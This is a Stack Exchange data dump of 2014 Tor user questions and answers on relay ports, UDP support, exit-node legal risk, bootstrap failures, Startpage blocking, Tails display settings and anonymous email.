  <row Id="4522" PostTypeId="1" CreationDate="2014-11-04T02:45:21.917" Score="2" ViewCount="185" Body="&lt;p&gt;I understand to obtain the complete successful results out of Tor, is it mandatory to use Tor browser bundle. But sometimes, for a general user, Firefox is much tempting to use for many reasons as a daily driver and TorBB when complete anonymity id required.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have been monitoring my traffic and I’ve noticed some changes when TBB runs and when Tor is used with Proxychains + Iceweasel(firefox).(Note:the entry point may change every 2 weeks approx, comments welcome as to &lt;strong&gt;why&lt;/strong&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When TBB is running the entry point relay always has port: 9001. (the ip changes but it is always on the same port) But when some other application uses TOR network the entry point relay is different from the TBB's. It tries to establish connection on the same ip but a different port.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Usually Proxychains(also privoxy) or firefoxs' TCP/IP packets connect to relay whose port is 443.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Question 0:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I´ve checked and both are trusted entry points(relays) but why are the ports different?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Question 1:&lt;/strong&gt; &#xA;What causes this change?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Question 2:&lt;/strong&gt;&#xA;How to stop this change?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Question 3:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does this mean that packets generated through Tor browser are differently encrypted? &lt;/p&gt;&#xA;" OwnerUserId="4990" LastEditorUserId="4990" LastEditDate="2014-11-04T16:23:53.613" LastActivityDate="2016-05-24T04:41:59.097" Title="sudden change in port number of closest relay when changed to pasing traffic of Firefox through Tor network" Tags="|tor-browser-bundle|security|configuration|directory|" AnswerCount="0" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="4523" PostTypeId="1" AcceptedAnswerId="4524" CreationDate="2014-11-04T06:16:25.050" Score="4" ViewCount="10929" Body="&lt;p&gt;I am using internet using 3G Data Card and my network have UDP 53 port open even when I don't have Internet plans. How can I use configure Tor to use UDP 53 port for Internet access. &lt;/p&gt;&#xA;" OwnerUserId="2931" LastActivityDate="2016-12-21T14:18:44.910" Title="Can I use Tor through UDP Protocol?" Tags="|configuration|windows|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4524" PostTypeId="2" ParentId="4523" CreationDate="2014-11-04T06:46:06.337" Score="6" Body="&lt;p&gt;Tor relies on TCP,please see more details about how Tor works in &lt;a href=&quot;https://www.torproject.org/about/overview.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.torproject.org/about/overview.html.en&lt;/a&gt; ,notice &quot; Tor only works for TCP streams and can be used by any application with SOCKS support.&quot;So you can`t use Tor through UDP protocol.&lt;/p&gt;&#xA;" OwnerUserId="4969" LastEditorUserId="88" LastEditDate="2016-12-21T14:18:44.910" LastActivityDate="2016-12-21T14:18:44.910" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4525" PostTypeId="2" ParentId="4220" CreationDate="2014-11-04T08:08:22.683" Score="3" Body="&lt;p&gt;It works normally with Tor and without any configuration.For example, when your browser are trying to find IP of &lt;a href=&quot;https://en.wikipedia.org/wiki/Domain_Name_System&quot; rel=&quot;nofollow&quot;&gt;https://en.wikipedia.org/wiki/Domain_Name_System&lt;/a&gt; ,it will check hosts(this file in C:\WINDOWS\system32\drivers\etc\hosts )first,if the IP is in here,then job done.&lt;/p&gt;&#xA;" OwnerUserId="4969" LastActivityDate="2014-11-04T08:08:22.683" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4530" PostTypeId="2" ParentId="4523" CreationDate="2014-11-05T02:13:37.610" Score="2" Body="&lt;p&gt;Port 53 is the only udp port supported by Tor and it works by making Tor listen on that port and transcribe dns requests over the network. Only DNS requests are supported, so that is the only way you are going to be able to use it. Also no icmp so ping will still go through untorrified which could leak your info.&lt;/p&gt;&#xA;" OwnerUserId="3338" LastActivityDate="2014-11-05T02:13:37.610" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4531" PostTypeId="2" ParentId="4523" CreationDate="2014-11-05T02:26:06.297" Score="1" Body="&lt;p&gt;as others have pointed out, tor works on top of tcp, but if you want to tunnel through port 53, you might want to check out &lt;a href=&quot;http://code.kryo.se/iodine/&quot; rel=&quot;nofollow&quot;&gt;http://code.kryo.se/iodine/&lt;/a&gt; at least if you have a server available. it only gives you a connection to your server but you can tunnel out from there. don't expect speed, and depending on your ISPs DNS server it might not even work at all.&lt;/p&gt;&#xA;" OwnerUserId="4887" LastActivityDate="2014-11-05T02:26:06.297" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4532" PostTypeId="2" ParentId="4519" CreationDate="2014-11-05T02:47:20.770" Score="1" Body="&lt;p&gt;you don't really need two machines for this. one should be enough. as for setup example, a torified virtual machine would be good. keep the hidden service on the host (that must not be a relay, as deanonymization of hidden services run by relays is much easier), the http server on the vm. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;as for software, people run all sorts of things as hidden services, it really depends on the application. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;security wise it's not much different than having a public service, with the difference being that in case the hidden service is hacked, all of its requests should be continue to be location anonymous.&lt;/p&gt;&#xA;" OwnerUserId="4887" LastActivityDate="2014-11-05T02:47:20.770" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4534" PostTypeId="1" AcceptedAnswerId="4536" CreationDate="2014-11-05T18:50:53.167" Score="3" ViewCount="978" Body="&lt;p&gt;Let's say I'm using Tor in order to anonymize my traffic, but only for privacy sake. I'm not torrenting, cracking or don't illegal things (of course). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now let's say that a very famous hacker or trafficker or even pedophile who is hunted by the cyber police is using Tor as well. And sadly, I'm the last relay, so sites that the criminal visits logs my IP. Then the police gets this IP (so mine). What would happen?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hypothesis:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I'm arrested. But what then? I'm &quot;clean&quot;. &lt;/li&gt;&#xA;&lt;li&gt;I'm arrested as a partner in crime. But Tor usage isn't illegal, is it?&lt;/li&gt;&#xA;&lt;li&gt;I'm freed because it wasn't me. I just said that I was using Tor. But they have no way to check the truth of that, huh? So supposedly if the criminal didn't used Tor, he could have said to the police when he get caught that it wasn't him, he was using Tor (even if he didn't) and the relay did it.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;PS: what about minor crimes such as pirating movies?&lt;/p&gt;&#xA;" OwnerUserId="5031" LastActivityDate="2014-11-06T16:50:41.137" Title="What would happen if I'm the last node (or relay) of a highly illegal activity?" Tags="|relays|log|legal|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="4535" PostTypeId="1" CreationDate="2014-11-05T19:11:19.503" Score="1" ViewCount="6207" Body="&lt;p&gt;I decided to start using orbot due to the tracking apparently being done by AT&amp;amp;T.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am unable however to get any sort of borderline acceptable internet speeds....When I try go to a webpage it is more likely to timeout than anything else. My down speeds seem to always stay &amp;lt; 5 Kbps....&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A post on xda (&lt;a href=&quot;http://forum.xda-developers.com/showthread.php?t=1824006[1]&quot; rel=&quot;nofollow&quot;&gt;http://forum.xda-developers.com/showthread.php?t=1824006[1]&lt;/a&gt; ) advised trying to reconnect repeatedly to find a good fast route. I tried reconnecting and connecting a few times and then it seems I stumbled on a reliable circuit that actually let me load webpages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But, I immediately disconnected and tried again, and bam, back to slow speeds....&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to reliably get a reasonable speed in orbot that I'm missing?&lt;/p&gt;&#xA;" OwnerUserId="5030" LastActivityDate="2016-08-17T00:53:30.213" Title="Orbot is Unreasonably Slow" Tags="|orbot|iptables|" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="4536" PostTypeId="2" ParentId="4534" CreationDate="2014-11-05T21:53:06.897" Score="4" Body="&lt;p&gt;&lt;strong&gt;Obligatory disclaimer:&lt;/strong&gt; I'm not a lawyer and this should not be considered legal advise.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tor usage may or may not be illegal depending on your jurisdiction. In the United States Tor is not illegal, and I have never heard of anyone actually being convicted (or even arrested) for crimes committed by others over their exit node (though there have been instances of equipment siezure during investigations involving criminal activity over an exit node).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You are not an exit node by default; you must configure your Tor relay to be an exit node (or even a regular non-exit relay).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you do run into legal issues with Tor, &lt;a href=&quot;https://www.torproject.org/docs/faq#FacingLegalTrouble&quot; rel=&quot;nofollow&quot;&gt;this answer&lt;/a&gt; from the Tor FAQ may help:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Q:&lt;/strong&gt; I'm facing legal trouble. How do I prove that my server was a Tor&#xA;  relay at a given time?&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;A:&lt;/strong&gt; &lt;a href=&quot;https://exonerator.torproject.org/&quot; rel=&quot;nofollow&quot;&gt;Exonerator&lt;/a&gt; is a web service that can check&#xA;  if an IP address was a relay at a given time. We can also &lt;a href=&quot;https://www.torproject.org/about/contact.html.en&quot; rel=&quot;nofollow&quot;&gt;provide a&#xA;  signed letter&lt;/a&gt; if needed.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;For more information, this &lt;a href=&quot;https://blog.torproject.org/running-exit-node&quot; rel=&quot;nofollow&quot;&gt;blog post&lt;/a&gt; from 2010 is especially helpful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good general recommendations for running an exit relay include:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Don't run it at home or at your place of business&lt;/li&gt;&#xA;&lt;li&gt;Inform your ISP or VPS provider what you intend to do&lt;/li&gt;&#xA;&lt;li&gt;Register an LLC (or the equivalent in your country) and place your exit node under its control&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerDisplayName="user5" LastEditorDisplayName="user5" LastEditDate="2014-11-06T13:34:27.763" LastActivityDate="2014-11-06T13:34:27.763" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4537" PostTypeId="2" ParentId="4510" CreationDate="2014-11-05T23:38:20.420" Score="0" Body="&lt;p&gt;Well... I booted up today and started tor and tried to hit my onion site, and it said no-go ... so I check my hostname and it is the one I generated earlier! So I check that one  ... and what do you know... it's serving!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How or why, I don't know. I am not aware of doing anything differently. Could be I had a process open that was unwittingly locking something TOR needed and a fresh reboot with ignorance being bliss was all it needed for things to go smoothly.&lt;/p&gt;&#xA;" OwnerUserId="5014" LastActivityDate="2014-11-05T23:38:20.420" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4538" PostTypeId="1" CreationDate="2014-11-06T01:03:34.050" Score="4" ViewCount="6818" Body="&lt;p&gt;I try to use Vidalia Bundle with certain application. It used to be stuck at 'starting Tor' if I recall correctly. So, I set it as 'run as client only' and added some bridges. Now it's stuck at 10% bootstrapped for hours. I think my ISP is blocking Tor, cause I cannot download anything from torproject.org (access the website is fine). However, I can use Tor Browser Bundle just fine. This is frustrating. Can anyone suggest any solution? Or redirect me to any answered link, cause my search found no solution for this problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: I re-run today, and realize the message log is blinking..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Nov 06 08:12:49.159 [Warning] Unable to parse guard path bias info: Misformated EntryGuardPathBias &quot;4.000000 4.000000 4.000000 0.000000 0.000000 0.000000&quot;&#xA;Nov 06 08:12:49.159 [Warning] Unable to parse guard path bias info: Misformated EntryGuardPathBias &quot;4.000000 4.000000 4.000000 0.000000 0.000000 0.000000&quot;&#xA;Nov 06 08:12:49.159 [Notice] no known bridge descriptors running yet; stalling&#xA;Nov 06 08:12:49.159 [Notice] I learned some more directory information, but not enough to build a circuit: No live bridge descriptors.&#xA;Nov 06 08:14:49.469 [Notice] Bootstrapped 5%: Connecting to directory server.&#xA;Nov 06 08:14:49.898 [Notice] Bootstrapped 10%: Finishing handshake with directory server.&#xA;Nov 06 09:44:50.681 [Warning] Problem bootstrapping. Stuck at 10%: Finishing handshake with directory server. (DONE; DONE; count 10; recommendation warn)&#xA;Nov 06 09:44:50.681 [Warning] 10 connections have failed:&#xA;Nov 06 09:44:50.681 [Warning] 6 connections died in state connect()ing with SSL state (No SSL object)&#xA;Nov 06 09:44:50.682 [Warning] 4 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE&#xA;Nov 06 09:45:10.486 [Warning] Problem bootstrapping. Stuck at 10%: Finishing handshake with directory server. (Connection timed out [WSAETIMEDOUT ]; TIMEOUT; count 11; recommendation warn)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5035" LastEditorUserId="88" LastEditDate="2015-01-06T08:36:12.793" LastActivityDate="2016-09-09T09:02:49.500" Title="Bootstrapped at 10% for hours" Tags="|tor-browser-bundle|vidalia|client|" AnswerCount="0" CommentCount="1" FavoriteCount="0" ClosedDate="2017-05-09T12:11:37.800" ContentLicense="CC BY-SA 3.0" />
  <row Id="4539" PostTypeId="2" ParentId="2194" CreationDate="2014-11-06T14:25:44.887" Score="1" Body="&lt;p&gt;The benefit of using an &lt;code&gt;.exe&lt;/code&gt;, especially on Windows is that you can achieve good compression and other features, while not requiring or relying special software.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also at some point you have to execute an &lt;code&gt;.exe&lt;/code&gt; (Tor and the Tor browser) anyways. If you are worried about your system you might try &lt;a href=&quot;https://tails.boum.org/&quot; rel=&quot;nofollow&quot;&gt;Tails&lt;/a&gt;. You can run that either on a different system or with your hard drive removed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However keep in mind that with Tor being open source you can compile the project from source code on your own, creating your own executable. Especially on Windows you usually have to trust executable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a side note: Tor is under the BSD license, which means Microsoft could integrate Tor into Windows. In fact they integrate a lot of BSD licensed software already, just like Apple does on their system. Since one has got to rely on the operating system in first place privacy minded companies could probably be urged into doing so. This would probably be the most secure approach.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Speaking about compiling the source code in order to be able to trust the code you run. The Tor project is working on &lt;a href=&quot;https://blog.torproject.org/blog/deterministic-builds-part-two-technical-details&quot; rel=&quot;nofollow&quot;&gt;deterministic builds&lt;/a&gt;, which means you would be able to even compare the outcome of one person or company compiling it with the outcome of another in a cryptographic manner, which allows one to trust that the code hasn't been tampered with prior to compilation.&lt;/p&gt;&#xA;" OwnerUserId="1292" LastActivityDate="2014-11-06T14:25:44.887" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4540" PostTypeId="2" ParentId="4727" CreationDate="2014-11-06T14:43:22.647" Score="2" Body="&lt;p&gt;As per &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/4362&quot; rel=&quot;nofollow noreferrer&quot;&gt;this trac ticket&lt;/a&gt;, this is:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;almost certainly a problem with your network -- possibly a blocking attempt by your firewall or your ISP.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://lists.torproject.org/pipermail/tor-talk/2012-February/023438.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;This email&lt;/a&gt; from the tor-talk archives dated 2012-02-28 also has a similar problem which was confirmed to be deep packet inspection by the users ISP. If this is the case for you, the answer is to use &lt;a href=&quot;https://2019.www.torproject.org/docs/pluggable-transports&quot; rel=&quot;nofollow noreferrer&quot;&gt;obfsproxy&lt;/a&gt; to make your traffic appear as if it's some allowed traffic (eg. to disguise your traffic as Skype traffic, or regular HTTP traffic).&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/qmR3A.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/qmR3A.png&quot; alt=&quot;https://www.torproject.org/images/obfsproxy_diagram.png&quot; /&gt;&lt;/a&gt;&lt;br /&gt;&#xA;&lt;sub&gt;(source: &lt;a href=&quot;https://www.torproject.org/images/obfsproxy_diagram.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;torproject.org&lt;/a&gt;)&lt;/sub&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user5" LastEditorUserId="-1" LastEditDate="2020-06-18T08:24:54.133" LastActivityDate="2019-08-07T14:32:25.923" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="4541" PostTypeId="1" CreationDate="2014-11-06T14:54:41.670" Score="1" ViewCount="1190" Body="&lt;p&gt;Is the &lt;em&gt;stated&lt;/em&gt; reason to thwart scrapers? Or do they dislike Tor?&lt;/p&gt;&#xA;" OwnerUserId="4973" LastActivityDate="2023-03-05T17:06:08.393" Title="Why does Startpage sometimes block Tor?" Tags="|tor-browser-bundle|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4542" PostTypeId="2" ParentId="4541" CreationDate="2014-11-06T14:54:41.670" Score="3" Body="&lt;p&gt;I saw this from Startpage today for the first time:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Welcome Tor Users!&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;We are happy to welcome you to Startpage, the world's most private&#xA;  search engine. Startpage now serves well over 2 million searches per&#xA;  day, making us the biggest private search service on the Internet.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Like Tor, Startpage was private long before privacy was cool. We have&#xA;  a fourteen-year company track record, and we are the only search&#xA;  engine that can back up our privacy promises with third-party&#xA;  certification.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Here are just a few of our powerful, privacy-protecting features:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;We do not record anything about you — not your IP address, not your search queries, and we never use tracking cookies.&#xA;We provide 100% Google results — We submit your search anonymously to Google and return their results to you in total privacy.&#xA;We encrypt all traffic — using HTTPS, so even your ISP can't snoop on your searches.&#xA;We offer a powerful free proxy — that lets you anonymously view third-party websites with every search.&#xA;We're third-party certified and independently audited — by EuroPrise and Certified Secure, so you can take our privacy promises&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;  &#xA;  &lt;p&gt;to the bank.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;We love Tor!&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;We believe in the Tor project and its privacy mission and we applaud&#xA;  your efforts to pursue serious Internet privacy.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;As you know, Tor recently included Startpage as the default search&#xA;  engine in the new Tor Browser Bundles. Thank you! We're honored to be&#xA;  associated with all of you like-minded, hard-core privacy fanatics.&#xA;  Just One Small Catch...&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;However, the avalanche of new Tor users has created an issue with the&#xA;  algorithm we use to detect and reject automated screen-scraping&#xA;  programs. When multiple Tor users are searching through the same end&#xA;  node, Startpage may wrongly conclude that the searches are coming from&#xA;  a scraper.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The unfortunate result is that Startpage may occasionally not return&#xA;  results with Tor. But don't panic, we're committed to fixing it.&#xA;  Here's a Temporary Solution&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;We are reaching out to the Tor developers to find a permanent&#xA;  solution. In the meantime, here is a workaround for Tor users:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;If you use the Tor Browser Bundle:&#xA;    Switching to a new Tor identity is easy and fast. Click the green onion icon next to your address bar, then click &quot;New Identity&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;  &#xA;  &lt;p&gt;and try your search again. In some cases, you may have to switch&#xA;  identities a few times for this to work.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;We want Tor users to have a great private search experience with&#xA;  Startpage, and we appreciate your patience while we develop a&#xA;  long-term solution. As you use Startpage, we'd love to hear from you&#xA;  and get your impressions.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Meanwhile, thanks for supporting the vision of Tor and Startpage and a&#xA;  completely private Internet&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="4973" LastEditorDisplayName="user5" LastEditDate="2014-11-06T14:59:18.300" LastActivityDate="2014-11-06T14:59:18.300" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4543" PostTypeId="2" ParentId="4534" CreationDate="2014-11-06T15:07:09.630" Score="1" Body="&lt;p&gt;I recall that in years past, there were arrests of exit-node-operators in some places, e.g. Germany. The arrestee had to convince the legal authorities that the node operator was not the person whose traffic exited the node to the forbidden site. In the meantime, the node operator might have been sitting in jail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's why there are a lot fewer exit nodes than entry or middle nodes.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;PS: what about minor crimes such as pirating movies?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;In the U.S., the federal government does whatever Hollywood wants. So there are very severe penalties for depriving stars and producers of a nickel (aka piracy).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I recall, a woman in Minnesota was sued by the entertainment industry and ordered by the (gullible) jury to pay many hundreds of thousands of dollars for uploading 20 0r so songs to same sharing site. Also the same for a guy in New York. So the minor civil violation can have severe penalties.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But anybody who cares about rights and freedom of expression should never be using Tor for exchanging movies/songs anyway, since that is an abuse of what Tor is meant for. Besides wasting bandwidth, it gives a bad name to Tor which the enemies of freedom can use against us.&lt;/p&gt;&#xA;" OwnerUserId="4973" LastEditorDisplayName="user5" LastEditDate="2014-11-06T16:50:41.137" LastActivityDate="2014-11-06T16:50:41.137" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4545" PostTypeId="2" ParentId="4497" CreationDate="2014-11-06T17:29:29.720" Score="3" Body="&lt;p&gt;As far as I am aware (and I may be mistaken):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;There is no one working on it right now.&lt;/li&gt;&#xA;&lt;li&gt;There are no plans for anyone working on it in the near future.&lt;/li&gt;&#xA;&lt;li&gt;There is no reason not to support it.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;It comes down to a matter of &quot;all the official developers are really busy with other projects&quot;, the big one being a fairly major hidden service revamp.  That said, the seccomp support was a Google Summer of Code project, and there is nothing stopping an enterprising developer from adding Capcicum support and submitting patches for review and eventual merging.&lt;/p&gt;&#xA;" OwnerDisplayName="user78" LastActivityDate="2014-11-06T17:29:29.720" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4547" PostTypeId="1" CreationDate="2014-11-07T03:05:09.030" Score="1" ViewCount="14" Body="&lt;p&gt;When I go to my email service it tells me from where I last logged in. It used to be different locations globally. Now it says A1 every time. Where is A1? Why isn't my login location server location changing? Could it be Telstra?&lt;/p&gt;&#xA;" OwnerUserId="5041" LastEditorUserId="88" LastEditDate="2014-11-07T08:05:36.850" LastActivityDate="2014-11-07T08:10:54.590" Title="Login location doesn't seem to change" Tags="|help|geoip|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4548" PostTypeId="2" ParentId="4547" CreationDate="2014-11-07T08:10:54.590" Score="0" Body="&lt;p&gt;Your email provider uses a so-called GeoIP database. In this list are IP addresses and their probable location saved. But Maxmind for instance tries to find out if an IP address is an anonymizer. Those IP get no specific country, but an &lt;a href=&quot;http://dev.maxmind.com/faq/what-are-the-a1-anonymous-proxy-entries/&quot; rel=&quot;nofollow&quot;&gt;A1&lt;/a&gt;. Thatswhy you probably see A1 everytime you log in via Tor.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2014-11-07T08:10:54.590" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4549" PostTypeId="1" CreationDate="2014-11-07T12:56:08.500" Score="1" ViewCount="124" Body="&lt;p&gt;I have installed TBB on Windows 7 Ultimate 64.  When I double click either the link or directly on the Firefox icon in the TBB map on my desktop (both normal and as admin) I can see in task scheduler that &lt;code&gt;firefox.exe&lt;/code&gt; starts up and disappears after a few second. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't see any &lt;code&gt;Tor.exe&lt;/code&gt; staring up. The result is that TBB won't start up. I tried downlaoding it several times to make sure TBB is not corrupted.&lt;/p&gt;&#xA;" OwnerUserId="5047" LastEditorUserId="923" LastEditDate="2014-11-07T19:44:48.893" LastActivityDate="2016-10-21T04:26:24.040" Title="TBB fails to run on Windows 7" Tags="|tor-browser-bundle|windows|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4551" PostTypeId="1" CreationDate="2014-11-08T08:28:21.863" Score="3" ViewCount="29861" Body="&lt;p&gt;After upgrading to new version of Tails, I found out that it will crash not so long after I clicked OK button in login screen.  If I add the following boot options:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;vga=normal nomodeset&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Tails will boot properly, but it choose to use 1280 x 768 resolution.  I can't select a higher resolution because no better resolutions are displayed in configuration's screen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What should I do to get a higher resolution?  Perhaps there are boot options to enter?  I never have this problem before because the older versions of Tails displays the expected widescreen resolution properly.&lt;/p&gt;&#xA;" OwnerUserId="5051" LastActivityDate="2016-08-01T22:08:04.407" Title="How to change display resolution in Tails?" Tags="|tails|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4552" PostTypeId="1" CreationDate="2014-11-08T11:41:58.430" Score="9" ViewCount="28157" Body="&lt;p&gt;I need to send a completely anonymous email, with no trace of myself, my IP and my computer. Can I send it via Tor using an ordinary email server, ie, gmail, yahoo, whatever? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;PLEASE, I'm an ordinary mortal and don't understand about programming or anything, so would appreciate a reply that my mom would understand! :D, so things like SOCKS and such, I'm completely ignorant about.&lt;/p&gt;&#xA;" OwnerUserId="5052" LastEditorDisplayName="user5" LastEditDate="2014-11-08T15:12:29.427" LastActivityDate="2021-03-22T20:40:52.103" Title="Sending anonymous email" Tags="|anonymity|email|" AnswerCount="7" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="4553" PostTypeId="2" ParentId="4297" CreationDate="2014-11-08T11:52:37.300" Score="1" Body="&lt;p&gt;This bug has been confirmed. Some workarounds have been communicated, but no final solution / bugfix. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;See launchpad: &lt;a href=&quot;https://bugs.launchpad.net/ubuntu/+source/vidalia/+bug/680192&quot; rel=&quot;nofollow&quot;&gt;Bug #680192 “Vidalia was unable to start Tor. Check your setting...”&lt;/a&gt; and try &lt;a href=&quot;https://bugs.launchpad.net/ubuntu/+source/vidalia/+bug/680192/comments/8&quot; rel=&quot;nofollow&quot;&gt;to disable the usr.bin.vidalia AppArmor profile&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps!&lt;/p&gt;&#xA;" OwnerUserId="5053" LastEditorUserId="5053" LastEditDate="2014-11-30T17:33:17.977" LastActivityDate="2014-11-30T17:33:17.977" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4554" PostTypeId="2" ParentId="4552" CreationDate="2014-11-08T13:16:21.097" Score="0" Body="&lt;p&gt;I suggest you to register a new safe mail box that is escaped from prism, like riseup or autistici, their developers will not track you. Well, you should use Tor when you start to visit these mailbox.&lt;/p&gt;&#xA;" OwnerUserId="4969" LastEditorDisplayName="user5" LastEditDate="2014-11-08T15:13:11.717" LastActivityDate="2014-11-08T15:13:11.717" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4555" PostTypeId="2" ParentId="4552" CreationDate="2014-11-08T13:58:12.987" Score="0" Body="&lt;p&gt;Choose an email provider (doesn't matter which one), create an account using Tor, and when you are going to send an email, encrypt the contents using PGP. Every provider will save your emails and reveal them to third parties if they have to, but the beauty of PGP is that your email will be unreadable gibberish to anyone but the receiver.&lt;/p&gt;&#xA;" OwnerDisplayName="user3349" LastActivityDate="2014-11-08T13:58:12.987" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
